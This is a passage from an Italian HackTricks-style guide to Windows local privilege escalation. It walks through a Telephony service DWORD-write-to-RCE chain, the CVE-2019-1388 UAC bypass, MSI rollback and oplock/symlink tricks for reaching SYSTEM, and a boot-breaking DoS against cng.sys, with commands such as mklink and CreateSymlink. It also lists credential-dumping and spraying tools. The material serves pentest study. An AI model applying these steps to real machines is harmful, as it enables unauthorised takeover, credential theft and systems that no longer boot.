Inoltre il seguente tool permette di intercettare una comunicazione named pipe con un tool come burp: https://github.com/gabriel-sztejnworcel/pipe-intercept e questo tool permette di elencare e vedere tutte le pipe per trovare privescs https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

Il servizio Telephony (TapiSrv) in modalità server espone \\pipe\\tapsrv (MS-TRP). Un client remoto autenticato può abusare del percorso async event basato su mailslot per trasformare ClientAttach in una scrittura arbitraria di 4 byte su qualsiasi file esistente scrivibile da NETWORK SERVICE, poi ottenere i diritti di amministratore di Telephony e caricare una DLL arbitraria come servizio. Flusso completo:

• ClientAttach con pszDomainUser impostato su un percorso esistente scrivibile → il servizio lo apre tramite CreateFileW(..., OPEN_EXISTING) e lo usa per le scritture async event.
• Ogni evento scrive l’InitContext controllato dall’attaccante da Initialize su quell’handle. Registra un’app line con LRegisterRequestRecipient (Req_Func 61), attiva TRequestMakeCall (Req_Func 121), recupera tramite GetAsyncEvents (Req_Func 0), poi annulla/arresta per ripetere scritture deterministic.
• Aggiungiti a [TapiAdministrators] in C:\Windows\TAPI\tsec.ini, riconnettiti, poi chiama GetUIDllName con un percorso DLL arbitrario per eseguire TSPI_providerUIIdentify come NETWORK SERVICE.

Più dettagli:

Telephony Tapsrv Arbitrary Dword Write To Rce

Misc

File Extensions that could execute stuff in Windows

Controlla la pagina https://filesec.io/

Protocol handler / ShellExecute abuse via Markdown renderers

I link Markdown cliccabili inoltrati a ShellExecuteExW possono attivare handler URI pericolosi (file:, ms-appinstaller: o qualsiasi schema registrato) ed eseguire file controllati dall’attaccante come utente corrente. Vedi:

Protocol Handler Shell Execute Abuse

Monitoring Command Lines for passwords

Quando ottieni una shell come utente, potrebbero esserci task schedulati o altri processi in esecuzione che passano credenziali nella command line. Lo script sotto cattura le command line dei processi ogni due secondi e confronta lo stato corrente con quello precedente, mostrando eventuali differenze.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Rubare password dai processi

Da Low Priv User a NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Se hai accesso all’interfaccia grafica (tramite console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile eseguire un terminale o qualsiasi altro processo come “NT\AUTHORITY SYSTEM” da un utente non privilegiato.

Questo rende possibile elevare i privilegi e bypassare UAC allo stesso tempo con la stessa vulnerabilità. Inoltre, non è necessario installare nulla e il binary usato durante il processo è firmato e rilasciato da Microsoft.

Alcuni dei sistemi affetti sono i seguenti:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Per sfruttare questa vulnerabilità, è necessario eseguire i seguenti passaggi:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Da Administrator Medium a High Integrity Level / UAC Bypass

Leggi questo per imparare gli Integrity Levels:

Integrity Levels

Poi leggi questo per imparare UAC e i bypass di UAC:

UAC - User Account Control

Da Arbitrary Folder Delete/Move/Rename a SYSTEM EoP

La tecnica descritta in questo blog post con un exploit code disponibile qui.

L’attacco consiste sostanzialmente nell’abusare della funzione di rollback di Windows Installer per sostituire file legittimi con altri malevoli durante il processo di disinstallazione. Per questo l’attaccante deve creare un malicious MSI installer che verrà usato per dirottare la cartella C:\Config.Msi, che in seguito verrà usata da Windows Installer per memorizzare i rollback files durante la disinstallazione di altri pacchetti MSI, dove i rollback files saranno stati modificati per contenere il payload malevolo.

La tecnica riassunta è la seguente:

1. Fase 1 – Preparazione al dirottamento (lascia C:\Config.Msi vuota)

• Step 1: Installa l’MSI

• Crea un .msi che installa un file innocuo (ad esempio dummy.txt) in una cartella scrivibile (TARGETDIR).

• Marca l’installer come “UAC Compliant”, così un non-admin user può eseguirlo.

• Mantieni un handle aperto al file dopo l’installazione.

• Step 2: Inizia la disinstallazione

• Disinstalla lo stesso .msi.

• Il processo di uninstall inizia a spostare i file in C:\Config.Msi e a rinominarli in file .rbf (rollback backups).

• Poll the open file handle usando GetFinalPathNameByHandle per rilevare quando il file diventa C:\Config.Msi\<random>.rbf.

• Step 3: Sincronizzazione personalizzata

• Il .msi include una custom uninstall action (SyncOnRbfWritten) che:

• Segnala quando .rbf è stato scritto.

• Poi attende un altro evento prima di continuare la disinstallazione.

• Step 4: Blocca la cancellazione di .rbf

• Quando viene segnalato, apri il file .rbf senza FILE_SHARE_DELETE — questo ne impedisce la cancellazione.

• Poi rispondi in modo che l’uninstall possa terminare.

• Windows Installer non riesce a cancellare .rbf e, poiché non può eliminare tutto il contenuto, C:\Config.Msi non viene rimossa.

• Step 5: Elimina manualmente .rbf

• Tu (attacker) elimini manualmente il file .rbf.

• Ora C:\Config.Msi è vuota, pronta per essere dirottata.

A questo punto, attiva la vulnerabilità SYSTEM-level arbitrary folder delete per eliminare C:\Config.Msi.

2. Fase 2 – Sostituire gli script di rollback con versioni malevole

• Step 6: Ricrea C:\Config.Msi con ACL deboli

• Ricrea tu stesso la cartella C:\Config.Msi.

• Imposta weak DACLs (ad esempio Everyone:F) e mantieni un handle aperto con WRITE_DAC.

• Step 7: Esegui un’altra installazione

• Installa di nuovo il .msi, con:

• TARGETDIR: posizione scrivibile.

• ERROROUT: una variabile che forza un fallimento.

• Questa installazione servirà ad attivare di nuovo il rollback, che legge .rbs e .rbf.

• Step 8: Monitora .rbs

• Usa ReadDirectoryChangesW per monitorare C:\Config.Msi finché non appare un nuovo .rbs.

• Cattura il suo filename.

• Step 9: Sincronizza prima del rollback

• Il .msi contiene una custom install action (SyncBeforeRollback) che:

• Segnala un evento quando viene creato .rbs.

• Poi attende prima di continuare.

• Step 10: Riapplica ACL deboli

• Dopo aver ricevuto l’evento rbs created:

• Windows Installer riapplica ACL forti a C:\Config.Msi.

• Ma dato che hai ancora un handle con WRITE_DAC, puoi riapplicare di nuovo ACL deboli.

Le ACL sono enforced solo all’apertura dell’handle, quindi puoi ancora scrivere nella cartella.

• Step 11: Drop fake .rbs e .rbf

• Sovrascrivi il file .rbs con un fake rollback script che dice a Windows di:

• Ripristinare il tuo file .rbf (malicious DLL) in una privileged location (per esempio C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

• Drop del tuo fake .rbf contenente un malicious SYSTEM-level payload DLL.

• Step 12: Attiva il rollback

• Segnala l’evento di sync così che l’installer riprenda.

• Una type 19 custom action (ErrorOut) è configurata per fallire intenzionalmente l’installazione in un punto noto.

• Questo causa l’inizio del rollback.

• Step 13: SYSTEM installa la tua DLL

• Windows Installer:

• Legge il tuo .rbs malevolo.

• Copia la tua DLL .rbf nella posizione target.

• Ora hai la tua malicious DLL in un SYSTEM-loaded path.

• Fase finale: esegui codice come SYSTEM

• Avvia un auto-elevated binary affidabile (ad esempio osk.exe) che carica la DLL di cui hai preso il controllo.

• Boom: il tuo codice viene eseguito come SYSTEM.

Da Arbitrary File Delete/Move/Rename a SYSTEM EoP

La principale tecnica di MSI rollback (la precedente) assume che tu possa cancellare un’intera cartella (per esempio C:\Config.Msi). Ma cosa succede se la tua vulnerabilità permette solo la cancellazione arbitraria di file?

Puoi sfruttare gli NTFS internals: ogni cartella ha un hidden alternate data stream chiamato:

C:\SomeFolder::$INDEX_ALLOCATION

Questo stream memorizza i metadati dell’indice della cartella.

Quindi, se elimini lo stream ::$INDEX_ALLOCATION di una cartella, NTFS rimuove l’intera cartella dal filesystem.

Puoi farlo usando le API standard di eliminazione file come:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Anche se stai chiamando una API di eliminazione di un file, in realtà elimina la cartella stessa.

Da Eliminazione del Contenuto di una Cartella a SYSTEM EoP

Cosa succede se il tuo primitive non ti permette di eliminare file/cartelle arbitrari, ma consente di eliminare il contenuto di una cartella controllata dall’attaccante?

1. Step 1: Imposta una cartella esca e un file

• Crea: C:\temp\folder1
• All’interno: C:\temp\folder1\file1.txt

2. Step 2: Posiziona un oplock su file1.txt

• L’oplock mette in pausa l’esecuzione quando un processo privilegiato prova a eliminare file1.txt.

// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();

3. Step 3: Trigger process SYSTEM (ad es. SilentCleanup)

• Questo processo esegue la scansione delle cartelle (ad es. %TEMP%) e tenta di eliminare il loro contenuto.
• Quando raggiunge file1.txt, il oplock si attiva e passa il controllo al tuo callback.

4. Step 4: Dentro il callback dell’oplock – reindirizza la cancellazione

• Opzione A: Sposta file1.txt altrove

• Questo svuota folder1 senza interrompere l’oplock.

• Non eliminare file1.txt direttamente — questo rilascerebbe l’oplock troppo presto.

• Opzione B: Converti folder1 in un junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control

• Opzione C: Crea un symlink in \RPC Control:

# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Questo prende di mira lo stream interno NTFS che memorizza i metadati della cartella — eliminarlo elimina la cartella.

5. Step 5: Release the oplock

• Il processo SYSTEM continua e prova a eliminare file1.txt.
• Ma ora, a causa della junction + symlink, sta in realtà eliminando:

C:\Config.Msi::$INDEX_ALLOCATION

Result: C:\Config.Msi viene eliminata da SYSTEM.

Da Arbitrary Folder Create a Permanent DoS

Sfrutta una primitive che ti permette di creare una cartella arbitraria come SYSTEM/admin — anche se non puoi scrivere file o impostare permessi deboli.

Crea una cartella (non un file) con il nome di un driver critico di Windows, ad es.:

C:\Windows\System32\cng.sys

• Questo percorso normalmente corrisponde al driver in modalità kernel cng.sys.
• Se lo pre-crei come cartella, Windows non riesce a caricare il driver reale all’avvio.
• Poi, Windows prova a caricare cng.sys durante il boot.
• Vede la cartella, non riesce a risolvere il driver reale, e crasha o interrompe l’avvio.
• Non c’è fallback, e nessun recovery senza intervento esterno (ad es. riparazione del boot o accesso al disco).

Da percorsi log/backup privilegiati + OM symlinks a arbitrary file overwrite / boot DoS

Quando un servizio privilegiato scrive log/export su un percorso letto da una config scrivibile, reindirizza quel percorso con Object Manager symlinks + NTFS mount points per trasformare la scrittura privilegiata in un arbitrary overwrite (anche senza SeCreateSymbolicLinkPrivilege).

Requisiti

• La config che memorizza il percorso di destinazione è scrivibile dall’attaccante (ad es. %ProgramData%\...\.ini).
• Possibilità di creare un mount point verso \RPC Control e un OM file symlink (James Forshaw symboliclink-testing-tools).
• Un’operazione privilegiata che scrive su quel percorso (log, export, report).

Catena di esempio

1. Leggi la config per recuperare la destinazione del log privilegiato, ad es. SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt in C:\ProgramData\ICONICS\IcoSetup64.ini.
2. Reindirizza il percorso senza admin:

mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"

3. Attendi che il componente privilegiato scriva il log (es., l’admin attiva “send test SMS”). La scrittura ora finisce in C:\Windows\System32\cng.sys.
4. Ispeziona il target sovrascritto (hex/PE parser) per confermare la corruzione; il riavvio forza Windows a caricare il percorso del driver alterato → boot loop DoS. Questo si generalizza anche a qualsiasi file protetto che un servizio privilegiato aprirà in scrittura.

cng.sys viene normalmente caricato da C:\Windows\System32\drivers\cng.sys, ma se esiste una copia in C:\Windows\System32\cng.sys può essere provata per prima, rendendolo un sink DoS affidabile per dati corrotti.

Da High Integrity a System

Nuovo servizio

Se stai già eseguendo un processo con High Integrity, il percorso verso SYSTEM può essere semplice: basta creare ed eseguire un nuovo servizio:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Quando crei un service binary assicurati che sia un servizio valido oppure che il binary esegua le azioni necessarie il più velocemente possibile, altrimenti verrà terminato dopo 20s se non è un servizio valido.

AlwaysInstallElevated

Da un processo High Integrity potresti provare a abilitare le voci di registro AlwaysInstallElevated e installare una reverse shell usando un wrapper .msi.
Più informazioni sulle chiavi di registro coinvolte e su come installare un pacchetto .msi qui.

High + SeImpersonate privilege to System

Puoi trovare il codice qui.

From SeDebug + SeImpersonate to Full Token privileges

Se hai quei token privileges (probabilmente lo troverai in un processo già High Integrity), sarai in grado di aprire quasi qualsiasi processo (non protected processes) con il privilegio SeDebug, copiare il token del processo e creare un arbitrary process con quel token.
In genere questa tecnica seleziona qualsiasi processo in esecuzione come SYSTEM con tutti i token privileges (sì, puoi trovare processi SYSTEM senza tutti i token privileges).
Puoi trovare un esempio di codice che esegue la tecnica proposta qui.

Named Pipes

Questa tecnica è usata da meterpreter per elevare in getsystem. La tecnica consiste nel creare una pipe e poi creare/abusare un servizio per scrivere su quella pipe. Poi il server che ha creato la pipe usando il privilegio SeImpersonate potrà impersonare il token del client della pipe (il servizio) ottenendo privilegi SYSTEM.
Se vuoi saperne di più sulle name pipes dovresti leggere questo.
Se vuoi leggere un esempio di come passare da high integrity a System usando name pipes dovresti leggere questo.

Dll Hijacking

Se riesci a hijackare una dll che viene caricata da un processo in esecuzione come SYSTEM sarai in grado di eseguire codice arbitrario con quei permessi. Quindi Dll Hijacking è utile anche per questo tipo di privilege escalation e, inoltre, è molto più facile da ottenere da un processo high integrity perché avrà permessi di scrittura sulle cartelle usate per caricare le dll.
Puoi saperne di più su Dll hijacking qui.

From Administrator or Network Service to System

• https://github.com/sailay1996/RpcSsImpersonator
• https://decoder.cloud/2020/05/04/from-network-service-to-system/
• https://github.com/decoder-it/NetworkServiceExploit

From LOCAL SERVICE or NETWORK SERVICE to full privs

Leggi: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Controlla misconfigurazioni e file sensibili (controlla qui). Rilevato.
JAWS – Controlla alcune possibili misconfigurazioni e raccogli informazioni (controlla qui).
privesc – Controlla misconfigurazioni
SessionGopher – Estrae informazioni di sessione salvate da PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usa -Thorough in locale.
Invoke-WCMDump – Estrae credenziali da Credential Manager. Rilevato.
DomainPasswordSpray – Fa spray delle password raccolte sul dominio
Inveigh – Inveigh è un tool PowerShell ADIDNS/LLMNR/mDNS spoofer e man-in-the-middle.
WindowsEnum – Enumerazione Windows di base per privesc
Sherlock ~~~~ – Cerca vulnerabilità privesc note (DEPRECATO in favore di Watson)
WINspect – Controlli locali (Servono diritti Admin)

Exe

Watson – Cerca vulnerabilità privesc note (deve essere compilato usando VisualStudio) (precompiled)
SeatBelt – Enumera l’host cercando misconfigurazioni (più un tool di raccolta info che di privesc) (deve essere compilato) (precompiled)
LaZagne – Estrae credenziali da molti software (exe precompilato su github)
SharpUP – Porting di PowerUp in C#
Beroot ~~~~ – Controlla le misconfigurazioni (eseguibile precompilato su github). Non raccomandato. Non funziona bene in Win10.
Windows-Privesc-Check – Controlla possibili misconfigurazioni (exe da python). Non raccomandato. Non funziona bene in Win10.

Bat

winPEASbat – Tool creato sulla base di questo post (non ha bisogno di accesschk per funzionare correttamente ma può usarlo).

Local

Windows-Exploit-Suggester – Legge l’output di systeminfo e raccomanda exploit funzionanti (python locale)
Windows Exploit Suggester Next Generation – Legge l’output di systeminfo e raccomanda exploit funzionanti (python locale)

Meterpreter

multi/recon/local_exploit_suggestor

Devi compilare il progetto usando la versione corretta di .NET (vedi questo). Per vedere la versione di .NET installata sull’host vittima puoi fare:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

References

• http://www.fuzzysecurity.com/tutorials/16.html

• http://www.greyhathacker.net/?p=738

• http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html

• https://github.com/sagishahar/lpeworkshop

• https://www.youtube.com/watch?v=_8xJaaQlpBo

• https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

• https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

• https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md

• https://github.com/frizb/Windows-Privilege-Escalation

• https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

• https://github.com/frizb/Windows-Privilege-Escalation

• http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus–detections

• 0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM

• HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft

• Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows

• Unit 42 – Privileged File System Vulnerability Present in a SCADA System

• Symbolic Link Testing Tools – CreateSymlink usage

• A Link to the Past. Abusing Symbolic Links on Windows

• RIP RegPwn – MDSec

• RegPwn BOF (Cobalt Strike BOF port)

• ZDI - Node.js Trust Falls: Dangerous Module Resolution on Windows

• Node.js modules: loading from node_modules folders

• npm package.json: optionalDependencies

• Process Monitor (Procmon)

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
• Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.